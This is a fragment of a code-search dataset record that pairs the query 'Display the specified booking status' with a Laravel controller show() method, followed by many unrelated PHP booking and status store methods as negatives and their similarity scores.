['name' => trans('bill::bills.title.bills')]));\n }", "public function storeStatus(Request $request)\n {\n //$param_rules['title'] = 'required|string|max:100|regex:/(?!^\\d+$)^.+$/';\n $param_rules['title'] = 'required|string|max:100|regex:/(?!^\\d+$)^.+$/|unique:type,NULL,deleted_at,id,tenant_id,'.$request['company_id'];\n $param_rules['code'] = 'required|string|max:2|unique:status,code,NULL,id,deleted_at,NULL,tenant_id,'.$request['company_id'];\n $param_rules['color_code'] = 'required';\n $this->__is_ajax = true;\n $response = $this->__validateRequestParams($request->all(), $param_rules, [\n 'title.unique' => 'The Lead status has already been taken.'\n ]);\n\n if($this->__is_error == true)\n return $response;\n\n $status_count = Status::where('tenant_id', $request['company_id'])->whereNull('deleted_at')->count();\n\n $obj_status = new Status();\n $obj_status->title = $request['title'];\n $obj_status->tenant_id = $request['company_id'];\n $obj_status->code = $request['code'];\n $obj_status->color_code = $request['color_code'];\n $obj_status->order_by = $status_count + 1;\n $obj_status->save();\n\n $this->__is_paginate = false;\n $this->__is_collection = false;\n return $this->__sendResponse('Status', Status::getById($obj_status->id), 200,'Status has been added successfully.');\n }", "public function store(Request $request)\n {\n $this->validate($request,[\n 'no_attending'=>'required',\n 'price'=>'required',\n 'id'=>'required',\n 'onarrival'=>'required'\n ]);\n $booking = new newBooking();\n $user = auth()->user();\n $booking->booked_by=$user->id;\n $booking->event_id=$request->id;\n $booking->price=$request->price;\n $booking->expected_people=$request->no_attending;\n $booking->payment=$request->onarrival;\n $booking->save();\n return redirect()->route('show',$request->id)->with('success',\"event booked succcesfully\");\n }", "public function store(Request $request)\n {\n $booking= new Booking();\n $booking->check_in=$request->check_in;\n $booking->pelanggan_id=$request->pelanggan_id;\n $booking->kamar_id=$request->kamar_id;\n $booking->check_out=$request->check_out;\n $booking->save();\n return redirect()->route('booking.index')->with(['message'=>'Data Berhasil Di Simpan']);\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'nullable|string',\n 'start_date' => 'required|date',\n 'end_date' => 'required|date',\n 'customer_full_name' => 'required|string',\n 'customer_email' => 'required|string',\n 'user_id' => 'nullable|numeric',\n 'room_id' => 'required|numeric',\n ]);\n\n\n $start_date = Carbon::parse($request->start_date);\n $end_date = Carbon::parse($request->end_date);\n\n if($start_date->greaterThan($end_date)) {\n $errorMessage = array(\n 'status' => 'error',\n 'message' => 'Check-in date cannot be greater than checkout date!'\n );\n return response()->json($errorMessage, 500);\n }\n\n $conflicting_bookings = $this->get_conflicting_bookings($start_date, $end_date);\n\n if(!$conflicting_bookings->isEmpty()) {\n $errorMessage = array(\n 'status' => 'error',\n 'message' => 'Attempting to book room on occupied dates!'\n );\n return response()->json($errorMessage, 500);\n }\n\n if(Auth::user()) {\n $request->merge(['user_id'=> Auth::user()->id]);\n }\n\n return Booking::create($request->all(), 201);\n }", "public function booking_save()\n\t{\n\n\t\t$validator = Validator::make(\n\t\t\tInput::all(),\n\t\t\tarray(\n\t\t\t\t'book_id' => 'bail|required',\n\n\t\t\t\t'name' => 'bail|string',\n\t\t\t\t'mail' => 'bail|required|email',\n\n\t\t\t\t'hours' => 'bail|numeric',\n\t\t\t\t'supplies' => 'bail|boolean',\n\t\t\t\t'instruction' => 'bail|string'\n\t\t\t)\n\t\t);\n\n\t\tif ($validator->passes()) {\n\n\t\t\t$client_id = 0;\n\t\t\t$book_id = typecast(Input::get('book_id'), 'string');\n\t\t\t\n\t\t\t// Timetable data\n\t\t\t$id_data = explode('_', $book_id);\n\t\t\t$timetable_id = typecast(substr($id_data[0], 1), 'int');\n\n\t\t\t// Validate slots\n\t\t\t$interval = self::valid_hour(Input::get('hours'));\n\t\t\t$timetable = GeneratorModel::get_active_timetable();\n\t\t\t$slotlist = GeneratorModel::generate_schedule($timetable, $interval);\n\t\t\t$summary = self::get_slot($book_id);\n\n\n\t\t\t$slotdata = array();\n\t\t\tforeach ($slotlist as $slot) {\n\n\t\t\t\tif ($slot['group_id'] == $book_id) {\n\n\t\t\t\t\t$slotdata = $slot;\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t\tif ($slotdata and $summary) {\n\n\t\t\t\t// Get client_id based from given email\n\t\t\t\t$email = typecast(Input::get('mail'), 'string');\n\t\t\t\t$is_valid_email = ValidatorModel::email($email, true);\n\n\t\t\t\tif (count($is_valid_email) > 1) {\n\n\t\t\t\t\t$client_id = $is_valid_email['client_id'];\n\n\t\t\t\t} else {\n\n\t\t\t\t\treturn Msg::error('Email is not available.');\n\t\t\t\t}\n\n\n\t\t\t\t// Generate encrypted payload\n\t\t\t\t$payload = Aes::payload(array(\n\t\t\t\t\t'c_id' => $client_id,\n\t\t\t\t\t's_id' => $book_id,\n\t\t\t\t\t'prc' => $slotdata['price']\n\t\t\t\t));\n\n\n\t\t\t\t// Save booking information\n\t\t\t\t$save = BookingModel::save_booking(array(\n\n\t\t\t\t\t'timetable_id' => $timetable_id,\n\n\t\t\t\t\t'client_id' => $client_id,\n\n\n\t\t\t\t\t'need_supplies' => typecast(Input::get('supplies'), 'integer'),\n\n\t\t\t\t\t'instructions' => typecast(Input::get('instruction'), 'string'),\n\n\t\t\t\t\t'schedule_start' => $slotdata['schedule_start'],\n\n\t\t\t\t\t'schedule_end' => $slotdata['schedule_end'],\n\n\t\t\t\t\t'price' => $slotdata['price'],\n\n\t\t\t\t\t'payload' => $payload,\n\n\n\t\t\t\t\t'tmp_book_id' => typecast(Input::get('book_id'), 'string'),\n\t\t\t\t\t'tmp_interval' => self::valid_hour(Input::get('hours'))\n\t\t\t\t));\n\n\t\t\t\tif (is_array($save) and isset($save['booking_id'])) {\n\t\t\t\t\t\n\t\t\t\t\t// Add booking_id on the payload\n\t\t\t\t\t$booking_id = $save['booking_id'];\n\t\t\t\t\t$decrypt = json_decode(Aes::decrypt(urldecode($payload)), true);\n\t\t\t\t\t$decrypt['b_id'] = $booking_id;\n\t\t\t\t\t$new_data = json_encode($decrypt);\n\t\t\t\t\t$new_payload = urlencode(Aes::encrypt($new_data));\n\n\n\t\t\t\t\t$base_url = MODULE_BASE_URL;\n\t\t\t\t\t$payload_url = \"{$base_url}/confirm?pl={$new_payload}\";\n\t\t\t\t\t$payload_name = typecast(Input::get('name'), 'string');\n\n\n\t\t\t\t\t$template = Template::generate('confirmation', array(\n\t\t\t\t\t\t'logo' => ASSET_LOGO,\n\t\t\t\t\t\t'name' => ucwords($payload_name),\n\t\t\t\t\t\t'link' => $payload_url,\n\n\t\t\t\t\t\t'date' => $summary['date_available'],\n\t\t\t\t\t\t'time' => \"{$summary['schedule_start']} to {$summary['schedule_end']}\",\n\t\t\t\t\t\t'hourly' => $summary['hours_text'],\n\t\t\t\t\t\t'total' => $summary['price'],\n\n\t\t\t\t\t\t'avatar' => $summary['avatar'],\n\t\t\t\t\t\t'cleaner' => \"{$summary['firstname']} {$summary['lastname']}\",\n\t\t\t\t\t\t'rating' => $summary['rate']\n\t\t\t\t\t));\n\n\n\t\t\t\t\t// Send email confirmation\n\t\t\t\t\tif (ENVIRONMENT === 'production') {\n\n\t\t\t\t\t\t$bcc = defined('EMAIL_CONFIRM_BCC') ? EMAIL_CONFIRM_BCC : null;\n\n\t\t\t\t\t\temailer($email, 'Rosie Services Confirm Booking', $template, $bcc);\n\t\t\t\t\t\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tlog_write('email_conf', $template);\n\n\t\t\t\t\t\treturn self::success($payload_url);\n\t\t\t\t\t}\n\n\t\t\t\t\treturn self::success(\"Thank your for booking. An email confirmation has been sent to <b>{$email}</b>. The slot confirmation will be <b>valid within 24 hours</b>.\");\n\t\t\t\t\n\t\t\t\t} else if ($save === false) {\n\n\t\t\t\t\treturn Msg::error('Booking was not saved. Please review your booking information.');\n\n\t\t\t\t} else {\n\n\t\t\t\t\treturn Msg::error('This slot has already been booked. Please try other time slot.');\n\t\t\t\t}\n\n\t\t\t} else {\n\n\t\t\t\treturn Msg::error('Invalid booking request. Slot is not available.');\n\n\t\t\t}\n\n\t\t} else {\n\n\t\t\treturn Msg::error('Invalid booking request. Please verify the booking information before saving.');\n\t\t}\n\t}", "public function saveStatus(String $status): void\n {\n if (!in_array($status, static::STATUS)) {\n throw new Exception(\n 'Kan ikke sette jobb-status til ' . $status . ' da den ikke er støttet'\n );\n }\n $this->update('status_progress', $status);\n }", "public function store(Request $request)\n {\n $data = $request->validate([\n 'name' => ['required', 'string', 'max:255']\n ]);\n\n TaskStatus::create($data);\n\n return redirect()->route('task_statuses.index')->with('success', __('The task status has been created!'));\n }", "public function addBooking($booking){\n \n }", "public function store(Request $request)\n {\n if ($request->tipo == \"sala\"){\n $reserva = RsvSala::findOrFail($request->id);\n }\n else {\n $reserva = RsvMaquina::findOrFail($request->id);\n }\n $reserva->status = $request->status;\n $reserva->save();\n return redirect('/gestion');\n\n\n }", "public function store(BookingFormRequest $request)\n {\n $validated = $request->validated();\n $booking = new Booking();\n $booking->guest_full_name = $validated['guest_full_name'];\n $booking->guest_credit_card = $validated['guest_credit_card'];\n $booking->room = $validated['room'];\n $booking->from_date = $validated['from_date'];\n $booking->to_date = $validated['to_date'];\n $booking->more_details = $validated['more_details'];\n\n $booking->Save();\n return view('bookings.index');\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'title' => 'required|string|max:255',\n 'author' => 'required|string|max:255',\n 'barcode' => 'required|string|max:255',\n 'name' => 'required|string|max:255',\n 'email' => 'required|email|max:255',\n ]);\n\n try {\n\n $book = Book::create($request->all());\n $book->status = 'borrowed';\n $book->borrowed_at = new \\DateTime;\n $book->save();\n\n } catch(\\Exception $e) {\n return redirect()->back()->withErrors(['An unknown error has occurred while attempting to save this record']);\n }\n\n return redirect(action('BookController@index'))->with('success',['The record was successfully saved']);\n }", "public function store(Request $request)\n {\n // validate\n\t\t$this->validate($request, [\n\t\t\t'name' => 'required|max:255',\n\t\t]);\n\t\t// create a new status based on user status relationship\n\t\t$status = $request->user()->statuses()->create([\n\t\t\t'name' => $request->name,\n\t\t]);\n\t\t// return status with user object\n\t\treturn response()->json($status->with('user')->find($status->id));\n }", "protected function statusUpdate($data)\n {\n // DB::table('status_update')->insert(['date' => Carbon::now(),\n // 'status' => $data['status'],\n // 'booking_id' => $data['id'],\n // 'created_at' => Carbon::now()\n // ]);\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'title' => 'required|min:3',\n ]);\n\n // $slug = str_slug($request->title, '_');\n\n // if(Status::where('slug', $slug)->first() != null)\n // $slug = $slug . '-'.time();\n\n // $user = User::findOrFail($id);\n\n $statuses = Status::create([\n 'user_id'=> Auth::user()->id,\n 'title' => $request->title\n ]);\n\n return redirect('statuses')->with('msg', 'berhasil ditambahkan');\n }", "public function storeState(int $bookingsCount, ClusteringResult $clusters, int $status)\n {\n if ($this->runtime->fromLastTick() > $this->outputInterval || $status == 2) {\n echo \"clustering write output\\n\";\n $content = $this->getClusteringTemplate()->render([\n 'clusters' => $clusters,\n 'bookingsCount' => $bookingsCount,\n 'runtimeInSeconds' => $this->runtime->fromBeginning(),\n 'status' => $status,\n 'pullInterval' => $this->outputInterval,\n ]);\n file_put_contents($this->rootDir . $this->outputFile, $content);\n $this->runtime->tick();\n }\n }", "public function store(Request $request)\n {\n $attribute = $request->validate([\n 'property_status'=>'required'\n ]);\n\n $attribute['inserted_by'] = auth()->user()->name;; \n\n PropertyStatus::create($attribute);\n\n Session::flash('success',\"Registro agregado sastifactoriamente\");\n\n return redirect()->route('property_status.index');\n }", "public function setCreating()\n {\n $this->update(['status' => static::STATUS_CREATING]);\n }", "public function store(Request $request)\n {\n VerificationStatus::create($request->only(['name']));\n\n flash('Verification status created successfully', 'success');\n\n return redirect()->route('admin.verification_statuses.index');\n }", "public function store(Request $request)\n {\n $data = $request->all();\n TaskStatus::create($data);\n\n return redirect()->route('taskstatus.index')->with('success', __('Add successfully'));\n //\n }", "public function changestatus(Request $request)\n {\n\n try {\n\n\n $log = LogStatus::whereId($request->logid)->first();\n\n $booking = Booking::find($request->id);\n\n $booking->current_status = $request->logid;\n $booking->tracking_number = $request->tracking_num;\n $booking->booking_instruction = $request->booking_instruction;\n $booking->service_id = $request->service;\n\n\n\n $booking->save();\n $booking->load('addressessender', 'addressesreceiver', 'logstatus');\n\n sendnotification($booking);\n\n\n $newlog = new BookingStatusLog();\n $newlog->status = $log->status;\n\n $booking_receiver = Booking::with('addressesreceiver')->whereId($request->id)->first();\n \n send_sms_status($request->tracking_num,$request->logid,$booking_receiver->addressesreceiver->name.' '.$booking_receiver->addressesreceiver->lastname,$booking_receiver->addressesreceiver->phonenumber);\n\n $booking->logs()->save($newlog);\n $arr = array(\"status\" => 200, \"msg\" => 'success');\n } catch (\\Illuminate\\Database\\QueryException $ex) {\n\n $msg = $ex->getMessage();\n if (isset($ex->errorInfo[2])) {\n $msg = $ex->errorInfo[2];\n }\n\n $arr = array(\"status\" => 400, \"msg\" => $msg, \"result\" => array());\n } catch (Exception $ex) {\n\n $msg = $ex->getMessage();\n if (isset($ex->errorInfo[2])) {\n $msg = $ex->errorInfo[2];\n }\n $arr = array(\"status\" => 400, \"msg\" => $msg, \"result\" => array());\n }\n return \\Response::json($arr);\n }", "public function reserved(Request $request)\n {\n $booking = Booking::findOrFail($request->id);\n $available = DB::table('bookings')\n ->where('bookings.room_id','=',$booking->room_id)\n ->where('bookings.status','=',4)\n ->exists(); // is true if exists some booking is reserved\n if ($available) {\n return back()->withErrors(['Ya reservaste esta habitación']); //return back because other booking is reserved\n }\n $booking->note = $request->message;\n $booking->status = 4;\n $booking->save();\n\n event(new BookingWasChanged($booking));\n\n $user = $booking->user;\n $manager = $booking->room->house->manager->user;\n $user->notify(new BookingNotification($booking));\n $manager->notify(new BookingNotification($booking));\n\n $info = [\n 'id' => $booking->id,\n 'status' => $booking->status\n ];\n // self::statusUpdate($info);\n return redirect()->back()->with('accepted_success','Se realizo el cambio');\n }", "public function store()\n {\n $book = Book::create($this->validateRequest());\n\n return redirect($book->path());\n }", "public function store(Request $request)\n {\n $booking = Booking::where('user_id', $request->user_id)\n ->where('hotel_id',$request->hotel_id)->first();\n if($booking){\n //return response()->json(['redirect'=>\"You have already made a booking.\"]);\n }\n /*$booking = Booking::where('plate_number', $request->plate_number)\n ->where('hotel_id',$request->hotel_id)->first();\n if($booking){\n return response()->json(['redirect'=>\"Booking exist for vehicle with Plate Number: $request->plate_number\"]);\n }*/\n $booking = Booking::where('room_number', $request->room_number)\n ->where('hotel_id',$request->hotel_id)->first();\n if($booking){\n return response()->json(['redirect'=>\"Booking $request->room_number already taken.\"]);\n }\n\n $book = Booking::create($request->all());\n return response()->json(['redirect'=>\"true\",'booking'=>$book]);\n }", "public function store(Request $request)\n {\n Reservations::create([\n\n 'status' => 'reserved',\n 'starts_at' => $request->starts_at,\n 'ends_at' => $request->ends_at\n\n ]);\n }", "public function store(Request $request)\n {\n $this->validate($request, $this->model->rules, $this->model->messages);\n $this->model->create($request->all());\n // dd($request->id_bds);\n if($request->status == 2){\n $bds = BATDONGSAN::find($request->id_bds);\n $bds->status = 0;\n $bds->update();\n }elseif($request->status == 1){\n $bds = BATDONGSAN::find($request->id_bds);\n $bds->status = 1;\n $bds->update();\n }\n session()->flash('flash_message', 'Thêm dữ liệu thành công');\n return redirect(route('hopdong.index'));\n }", "public function store(Request $request) {\n $validator = Validator::make($request->all(), [\n 'name' => 'required',\n 'email' => 'required',\n 'wedding_date' => 'required',\n 'phone' => 'required',\n ]);\n\n if ($validator->fails()) {\n\n\n Alert::error('Please fill in all the details', 'Oops!');\n\n return redirect('book');\n }\n\n\n\n $booking = new ClientBooking;\n \n \n $booking->name = $request->name;\n\n\n $booking->phone = $request->phone; \n \n $booking->email = $request->email;\n \n \n $booking->wedding_package = 'Video';\n \n \n $booking->amount_owned = 150000;\n \n \n $booking->wedding_date = $request->wedding_date;\n\n \n $booking->wedding_location = $request->wedding_location;\n \n $booking->phone = $request->phone;\n\n $booking->save();\n\n\n\n Alert::success('Success', 'Details Submmitted successfully');\n\n return view('booking');\n }", "public function save($bid)\n {\n\n DB::beginTransaction();\n try {\n\n $bid['status'] = ((array_key_exists('status', $bid) && $bid['status'] == 'on') ? \\Config::get('constants.ACTIVE_STATUS') : \\Config::get('constants.INACTIVE_STATUS'));\n $this->bids->create($bid);\n\n DB::commit();\n\n } catch (DBTransactionException $e) {\n DB::rollback();\n throw new DBTransactionException();\n }\n }", "public function store(Request $request)\n {\n if(!isset($request->borrow_type)){\n $bookRequest = \\App\\Request::find($request->request_id) ;\n \n\n \n \n\n $borrow = new Borrow;\n $borrow->request_id = $bookRequest->id;\n $borrow->borrow_start = Carbon::today();\n $borrow->borrow_end = $request->borrow_end;\n $borrow->loaned_by = Auth::id();\n $borrow->status= 'active';\n\n $borrow->save();\n\n\n /*TODO: Shto opsonin ~finished ne kolonen \"status\", table Request*/\n $bookRequest->status = 'expired';\n $bookRequest->save();\n\n }\n else{\n\n $bookRequest = new \\App\\Request;\n $bookRequest->book_id = $request->book_id;\n $bookRequest->req_start = Carbon::today()->toDateString();\n $bookRequest->req_end = Carbon::today()->toDateString();\n $bookRequest->user_id = $request->user_id;\n\n /*TODO: Shto opsonin ~finished ne kolonen \"status\", table Request*/\n $bookRequest->status = 'expired';\n $bookRequest->save();\n\n\n\n $borrow = new Borrow;\n $borrow->request_id = $bookRequest->id;\n $borrow->borrow_start = Carbon::today();\n $borrow->borrow_end = $request->borrow_end;\n $borrow->loaned_by = Auth::id();\n $borrow->status= 'active';\n\n $borrow->save();\n\n\n\n\n }\n\n\n\n\n return back();\n\n\n\n }", "public function store()\n {\n //\n // $rules = array(\n // 'description' => 'required',\n // 'step' => 'required',\n // );\n // $validator = Validator::make(Input::all(), $rules);\n\n // // process the login\n // if ($validator->fails()) {\n // return Redirect::to(route('shipmentstatuses.create'))\n // ->withErrors($validator)\n // ->withInput();\n // } else {\n // $shipmentStatus = new ShipmentStatus;\n // $shipmentStatus->step = Input::get('step');\n // $shipmentStatus->description = Input::get('description');\n // $shipmentStatus->save();\n // Session::flash('message', 'Successfully created data!');\n // return Redirect::to(route('shipmentstatuses.index'));\n // }\n\n }", "public function save() {\r\n /** probably we should add a timestamp, Item ID and stuff */\r\n $stored_data = json_encode(array($this->name, $this->status), JSON_UNESCAPED_UNICODE);\r\n $this->db_write(\"objects\", \"Item_s11n\", $stored_data);\r\n print ($stored_data);\r\n }", "public function store(BookingCreateRequest $request, $isJson = false)\n {\n $booking = new Booking();\n $booking->user_id = Auth::id();\n $booking->room_id = $request->input('room_id');\n $booking->total_person = $request->input('total_person');\n $booking->booking_time = $request->input('meeting_date') . ' ' . $request->input('meeting_time');\n $booking->noted = (! empty($request->input('noted'))) ? $request->input(['noted']) : '';\n if ($booking->save()) {\n Notification::send(Auth::user(), new BookingCreateNotification([\n 'room_name' => $booking->room->room_name,\n 'booking_time' => $booking->booking_time,\n 'total_person' => $booking->total_person,\n 'noted' => $booking->noted,\n 'subject' => 'Booking Information Meet.com',\n 'title' => 'Here is your detail booking meeting room information'\n ]));\n return ($isJson) ? ResponseService::success($booking) : $booking;\n }\n return ResponseService::failure('Failed to create booking.');\n }", "public function store_tag_status() {\n $app = $this->app;\n $log_id = $app->request->post(\"log_id\");\n $tag_id = $app->request->post(\"tag_id\");\n $srv = new LogService($this->getEntityManager(), $app, $this->getUser());\n $srv->store_new_tag_status($log_id, $tag_id);\n }", "public function save()\r\n\t{\r\n\t\t// save the parent object and thus the status table\r\n\t\tparent::save();\r\n\t\t// grab the newly inserted status ID\r\n\t\t$id = $this->getID();\r\n\t\t// insert into the link status table, using the same ID\r\n\t\t$extended = array();\r\n\t\t$extended['id'] = $id;\r\n\t\t$extended['URL'] = $this->url;\r\n\t\t$extended['description'] = $this->description;\r\n\t\t$this->registry->getObject('db')->insertRecords( 'statuses_links', $extended );\r\n\t}", "public function activar()\n {\n $this->estatus = 1;\n $this->save();\n }", "public function store(StoreRequest $request)\n {\n $validated = $request->validated();\n $booking = null;\n DB::transaction(function () use ($validated, &$booking) {\n $booking = CreateBooking::handle($validated);\n\n if (!empty($validated['comment'])) {\n $currentUser = auth()->user();\n $currentUser->comment($booking, $validated['comment']);\n }\n }, 2);\n\n $booking->fresh();\n $booking->load(\n 'tour',\n 'tour.tourOptions',\n 'ticketOptions',\n 'bookingTickets',\n 'bookingTickets.ticket',\n 'ticketOptions.tourOption',\n 'schedule',\n 'schedule.user',\n 'schedule.excursion'\n );\n\n $comments = $booking->comments()->orderBy('created_at', 'DESC')->get();\n $comments->load('commented');\n\n return [\n 'data' => [\n 'form' => new Resource($booking)\n ]\n ];\n }", "public function store(Request $request)\n {\n if (Auth::user()->level == 'Admin'){\n return redirect('/');\n }\n Book::create([\n 'user_id' => Auth::user()->id,\n 'villa_id' => $request->villa_id,\n 'start_date' => $request->start_date,\n 'end_date' => $request->end_date,\n ]);\n return redirect(route('book.index'));\n }", "public function store(BookRequest $request)\n {\n\n $this->model->save_with_auth_user($request->only($this->model->getModel()->fillable));\n return redirect()->route('dashboard')->with('message', 'The book has been successfully created.');\n }", "public function store(Request $request)\n {\n $request->validate([\n 'hallid' => 'required',\n 'eventdate' => 'required',\n 'eventtype' => 'required',\n 'fullname' => 'required',\n 'phonenumber' => 'required',\n 'email' => 'required',\n 'bookingoption' => 'required',\n ]);\n\n $booking = new Booking();\n\n $booking->hallid = $request->input('hallid');\n $booking->eventdate = $request->input('eventdate');\n $booking->eventtype = $request->input('eventtype');\n $booking->fullname = $request->input('fullname');\n $booking->phonenumber = $request->input('phonenumber');\n $booking->email = $request->input('email');\n $booking->bookingoption = $request->input('bookingoption');\n $booking->confirmbooking = \"0\";\n\n if(Booking::where('eventdate', '=', $booking->eventdate)->where('hallid', '=', $booking->hallid)->count() > 0){\n return back()->with('danger', 'Hall Already Booked For This Date');\n\n }else{\n $booking->save();\n return back()->with('success', 'Hall Booked Successfully');\n\n }\n\n }", "public function store() {\n //\n try {\n\n $statusImpl = new StatusImpl();\n\n if ($statusImpl->insertStatus()):\n return Redirect::to('status')->with('mssg', '<div class=alert> ' . Input::get('name') . ' Added </div>');\n else:\n throw new RuntimeException(\"Return Error\");\n endif;\n } catch (RuntimeException $exc) {\n echo $exc->getMessage();\n }\n }", "public function store(Request $request)\n {\n Booking::create($request->input());\n return redirect()->action('BookingController@index');\n }", "public function store(StateStoreFormRequest $request)\n {\n $data = $request->all();\n\n $role = State::create($data);\n\n // alert()->success('Creación de perfil','Perfil creado satisfactoriamente!')->persistent(true,false);\n toast('Departamento creado satisfactoriamente!', 'success');\n\n return redirect()->route('departamentos.index');\n }" ]
[ "0.64766014", "0.64311826", "0.6350962", "0.6215574", "0.6156422", "0.612842", "0.60933375", "0.6037842", "0.6028411", "0.60128444", "0.5993607", "0.5990791", "0.5971951", "0.59636813", "0.59623027", "0.5943676", "0.5938624", "0.5927359", "0.5913245", "0.5884156", "0.58805144", "0.58719337", "0.5862258", "0.58526385", "0.5839931", "0.5824369", "0.58239484", "0.58236754", "0.5816888", "0.57993996", "0.5787755", "0.57788265", "0.5774811", "0.5751539", "0.57457554", "0.5740308", "0.5728542", "0.5723919", "0.5718305", "0.5709081", "0.5680482", "0.56790763", "0.56773406", "0.5674225", "0.5668508", "0.56482005", "0.5645444", "0.563742", "0.56250125", "0.56182206", "0.56170577", "0.5608776", "0.559614", "0.5591749", "0.558853", "0.55874", "0.5586257", "0.55849916", "0.55838627", "0.55820787", "0.55660886", "0.5565152", "0.55552745", "0.55429137", "0.5536033", "0.5521425", "0.5516562", "0.55122757", "0.5511555", "0.55112344", "0.551053", "0.5503905", "0.5502247", "0.54972845", "0.5488507", "0.54827726", "0.54793406", "0.54705215", "0.54690266", "0.5467898", "0.5460101", "0.544986", "0.54456204", "0.54316247", "0.5425181", "0.54237914", "0.54007965", "0.54007524", "0.5398277", "0.5387436", "0.53865576", "0.5375333", "0.5375314", "0.53737265", "0.5373024", "0.53674626", "0.536426", "0.5360592", "0.53508496", "0.5349754" ]
0.61558104
5
Display the specified booking status.
public function show($id) { $bookingStatus = BookingStatus::findOrFail($id); return view('booking_status.show', compact('bookingStatus')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function display_status($status){\n\t\tif($status == '1'){\n\t\t\t$st = 'Active';\n\t\t}else{\t\n\t \t\t$st = 'Inactive';\n\t\t}\n\t\treturn $st;\n\t}", "public function renderDeliverableStatus($status) {\n echo '<span class=\"deliverable-status status-'.$status.'\">';\n \n if ($status == DeliverableModel::STATUS_NOTSTARTED) {\n echo 'NOT STARTED';\n }\n elseif ($status == DeliverableModel::STATUS_INPROGRESS) {\n echo 'IN PROGRESS';\n }\n elseif ($status == DeliverableModel::STATUS_COMPLETE) {\n echo 'COMPLETE';\n }\n elseif ($status == DeliverableModel::STATUS_BLOCKED) {\n echo 'BLOCKED';\n }\n \n echo '</span>';\n }", "public static function status($status) {}", "public function getBookingStatus()\n {\n return isset($this->BookingStatus) ? $this->BookingStatus : null;\n }", "public function availabilityAction()\n {\n // Append breadcrumbs\n $this->view->getBreadcrumbBag()->addOne('Cars', 'Rentcar:Admin:Car@indexAction')\n ->addOne('Bookings', 'Rentcar:Admin:Booking@indexAction')\n ->addOne('Availability graph');\n\n // Use datetime from query string if available, otherwise use current date and time\n $datetime = $this->request->getQuery('datetime', TimeHelper::getNow());\n\n return $this->view->render('booking/availability', [\n 'cars' => $this->getModuleService('bookingService')->fetchCars($datetime),\n 'datetime' => $datetime\n ]);\n }", "protected function status( $status )\n\t{\n\t\techo $status . PHP_EOL;\n\t}", "public function booking()\n {\n $booking_active = true;\n $branchs = $this->branch_services->all('asc');\n $type_services = $this->type_services->all('asc');\n\n return view('client.booking', compact('branchs', 'type_services', 'booking_active'));\n }", "public function show(User_status $userstatus)\n {\n //\n }", "public function display_billing_status($status){\n\t\tif($status == 'W' || $status == 'R'){\n\t\t\t$st = 'L1 - P';\n\t\t}elseif($status == 'A'){\t\n\t \t\t$st = 'L1 - A';\n\t\t}\n\t\treturn $st;\n\t}", "public function show(OrderStatus $orderStatus)\n {\n //\n }", "public function show(Booking $booking)\n {\n return $booking;\n }", "public function showBookings()\n {\n return $this->render('account/bookings.html.twig');\n }", "public function status($status = 'open')\n {\n switch ($status)\n {\n case 'expired':\n $this->layout->set('quotes', $this->mdl_quotes->is_expired()->paginate()->result());\n break;\n case 'invoiced':\n $this->layout->set('quotes', $this->mdl_quotes->is_invoiced()->paginate()->result());\n $this->layout->set('show_invoice_column', TRUE);\n break;\n default:\n $this->layout->set('quotes', $this->mdl_quotes->is_open()->paginate()->result());\n break;\n }\n\n $this->layout->buffer('content', 'quotes/index');\n $this->layout->render();\n }", "public function show(StatusOrder $statusOrder)\n {\n //\n }", "function bookingstatus_viewdetail( $tbl_bookingstatus, $id ){\n\t\t$sql = mysql_query(\"SELECT * FROM $tbl_bookingstatus WHERE id='$id'\");\n\t\treturn $sql;\n}", "public function displayLicenseStatus($status, $previousStatus)\n {\n if ($status !== false) {\n if ($status == VALID || $previousStatus == VALID) {\n ?>\n <span style=\"color:green;\"><?php _e('Active', $this->pluginSlug);\n ?></span>\n <?php\n } elseif ($status == EXPIRED || $previousStatus == EXPIRED) {\n ?>\n <span style=\"color:red;\"><?php _e('Expired', $this->pluginSlug);\n ?></span>\n <?php\n } else {\n ?>\n <span style=\"color:red;\"><?php _e('Not Active', $this->pluginSlug) ?></span>\n <?php\n }\n }\n\n if ($status === false) {\n ?>\n <span style=\"color:red;\"><?php _e('Not Active', $this->pluginSlug) ?></span>\n <?php\n }\n }", "public function index()\n {\n $bookingStatuses = BookingStatus::paginate(25);\n\n return view('booking_status.index', compact('bookingStatuses'));\n }", "public function display_user_status($status){\n\t\tif($status == '0'){\n\t\t\t$st = 'Active';\n\t\t}elseif($status == '1'){\t\n\t \t\t$st = 'Inactive';\n\t\t}\n\t\treturn $st;\n\t}", "public function show(Booking $booking)\n {\n $user = Auth::user();\n $condition = Booking::where('id', $booking->id)\n ->where('user_id', $user->id)\n ->first();\n\n if ( $user->isAdmin() || exist($condition) )\n return view('showBooking', compact('booking'));\n\n return redirect()->back();\n }", "public function actionIndex()\n {\n $model = ArsBooking::find()\n ->where(['book_status' =>'Pending'])\n ->count();\n \n $searchModel = new ArsBookingSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n 'model'=>$model,\n ]);\n }", "public function show(BookingRoom $bookingRoom,$bookingID)\n {\n //\n \n \n $bookingStatus=BookingRoom::where('order_id',$bookingID)->get();\n // $bookingStatus=BookingRoom::where('username',$username)->get();\n if(empty($bookingStatus[0])){\n return response(['message'=>'Invalid Booking ID !No Record found'],404);\n }\n return response(['Booking Status'=>$bookingStatus,'message'=>'Data Retreived Successfully','total'=>count($bookingStatus)],200);\n\n }", "public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n\r\n $libBookingstatuses = $em->getRepository('AppBundle:LibBookingstatus')->findAll();\r\n\r\n return $this->render('libbookingstatus/index.html.twig', array(\r\n 'libBookingstatuses' => $libBookingstatuses,\r\n ));\r\n }", "public function edit($id)\n {\n $bookingStatus = BookingStatus::findOrFail($id);\n\n\n return view('booking_status.edit', compact('bookingStatus'));\n }", 